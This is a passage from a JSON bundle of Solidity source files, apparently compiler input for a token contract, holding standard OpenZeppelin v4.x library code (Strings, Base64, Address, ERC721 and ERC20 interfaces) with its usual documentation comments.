"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n uint256 temp = value;\n uint256 length = 0;\n while (temp != 0) {\n length++;\n temp >>= 8;\n }\n return toHexString(value, length);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Base64.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides a set of functions to operate with Base64 strings.\n *\n * _Available since v4.5._\n */\nlibrary Base64 {\n /**\n * @dev Base64 Encoding/Decoding Table\n */\n string internal constant _TABLE = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n /**\n * @dev Converts a `bytes` to its Bytes64 `string` representation.\n */\n function encode(bytes memory data) internal pure returns (string memory) {\n /**\n * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence\n * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol\n */\n if (data.length == 0) return \"\";\n\n // Loads the table into memory\n string memory table = _TABLE;\n\n // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter\n // and split into 4 numbers of 6 bits.\n // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up\n // - `data.length + 2` -> Round up\n // - `/ 3` -> Number of 3-bytes chunks\n // - `4 *` -> 4 characters for each chunk\n string memory result = new string(4 * ((data.length + 2) / 3));\n\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the lookup table (skip the first \"length\" byte)\n let tablePtr := add(table, 1)\n\n // Prepare result pointer, jump over length\n let resultPtr := add(result, 32)\n\n // Run over the input, 3 bytes at a time\n for {\n let dataPtr := data\n let endPtr := add(data, mload(data))\n } lt(dataPtr, endPtr) {\n\n } {\n // Advance 3 bytes\n dataPtr := add(dataPtr, 3)\n let input := mload(dataPtr)\n\n // To write each character, shift the 3 bytes (18 bits) chunk\n // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)\n // and apply logical AND with 0x3F which is the number of\n // the previous character in the ASCII table prior to the Base64 Table\n // The result is then added to the table to get the character to write,\n // and finally write it in the result pointer but with a left shift\n // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n }\n\n // When data `bytes` is not exactly 3 bytes long\n // it is padded with `=` characters at the end\n switch mod(mload(data), 3)\n case 1 {\n mstore8(sub(resultPtr, 1), 0x3d)\n mstore8(sub(resultPtr, 2), 0x3d)\n }\n case 2 {\n mstore8(sub(resultPtr, 1), 0x3d)\n }\n }\n\n return result;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721Metadata is IERC721 {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/ERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/ERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721.sol\";\nimport \"./IERC721Receiver.sol\";\nimport \"./extensions/IERC721Metadata.sol\";\nimport \"../../utils/Address.sol\";\nimport \"../../utils/Context.sol\";\nimport \"../../utils/Strings.sol\";\nimport \"../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n */\ncontract ERC721 is Context, ERC165, IERC721, IERC721Metadata {\n using Address for address;\n using Strings for uint256;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to owner address\n mapping(uint256 => address) private _owners;\n\n // Mapping owner address to token count\n mapping(address => uint256) private _balances;\n\n // Mapping from token ID to approved address\n mapping(uint256 => address) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n /**\n * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721-balanceOf}.\n */\n function balanceOf(address owner) public view virtual override returns (uint256) {\n require(owner != address(0), \"ERC721: address zero is not a valid owner\");\n return _balances[owner];\n }\n\n /**\n * @dev See {IERC721-ownerOf}.\n */\n function ownerOf(uint256 tokenId) public view virtual override returns (address) {\n address owner = _owners[tokenId];\n require(owner != address(0), \"ERC721: invalid token ID\");\n return owner;\n }\n\n /**\n * @dev See {IERC721Metadata-name}.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev See {IERC721Metadata-symbol}.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory baseURI = _baseURI();\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n /**\n * @dev See {IERC721-approve}.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not token owner nor approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n /**\n * @dev See {IERC721-getApproved}.\n */\n function getApproved(uint256 tokenId) public view virtual override returns (address) {\n _requireMinted(tokenId);\n\n return _tokenApprovals[tokenId];\n }\n\n /**\n * @dev See {IERC721-setApprovalForAll}.\n */\n function setApprovalForAll(address operator, bool approved) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n /**\n * @dev See {IERC721-isApprovedForAll}.\n */\n function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev See {IERC721-transferFrom}.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n\n _transfer(from, to, tokenId);\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public virtual override {\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n _safeTransfer(from, to, tokenId, data);\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * `data` is additional data, it has no specified format and it is sent in call to `to`.\n *\n * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.\n * implement alternative mechanisms to perform token transfer, such as signature-based.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _transfer(from, to, tokenId);\n require(_checkOnERC721Received(from, to, tokenId, data), \"ERC721: transfer to non ERC721Receiver implementer\");\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted (`_mint`),\n * and stop existing when they are burned (`_burn`).\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _owners[tokenId] != address(0);\n }\n\n /**\n * @dev Returns whether `spender` is allowed to manage `tokenId`.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\n address owner = ERC721.ownerOf(tokenId);\n return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);\n }\n\n /**\n * @dev Safely mints `tokenId` and transfers it to `to`.\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n /**\n * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n */\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n /**\n * @dev Mints `tokenId` and transfers it to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - `to` cannot be the zero address.\n *\n * Emits a {Transfer} event.\n */\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId);\n\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n\n _afterTokenTransfer(address(0), to, tokenId);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId);\n\n // Clear approvals\n _approve(address(0), tokenId);\n\n _balances[owner] -= 1;\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n\n _afterTokenTransfer(owner, address(0), tokenId);\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n *\n * Emits a {Transfer} event.\n */\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(ERC721.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId);\n\n // Clear approvals from the previous owner\n _approve(address(0), tokenId);\n\n _balances[from] -= 1;\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfer(from, to, tokenId);\n }\n\n /**\n * @dev Approve `to` to operate on `tokenId`\n *\n * Emits an {Approval} event.\n */\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ERC721.ownerOf(tokenId), to, tokenId);\n }\n\n /**\n * @dev Approve `operator` to operate on all of `owner` tokens\n *\n * Emits an {ApprovalForAll} event.\n */\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n /**\n * @dev Reverts if the `tokenId` has not been minted yet.\n */\n function _requireMinted(uint256 tokenId) internal view virtual {\n require(_exists(tokenId), \"ERC721: invalid token ID\");\n }\n\n /**\n * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\n * The call is not executed if the target address is not a contract.\n *\n * @param from address representing the previous owner of the given token ID\n * @param to target address that will receive the tokens\n * @param tokenId uint256 ID of the token to be transferred\n * @param data bytes optional data to send along with the call\n * @return bool whether the call correctly returned the expected magic value\n */\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private returns (bool) {\n if (to.isContract()) {\n try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {\n return retval == IERC721Receiver.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\"ERC721: transfer to non ERC721Receiver implementer\");\n } else {\n /// @solidity memory-safe-assembly\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n /**\n * @dev Hook that is called before any token transfer. This includes minting\n * and burning.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, ``from``'s `tokenId` will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n 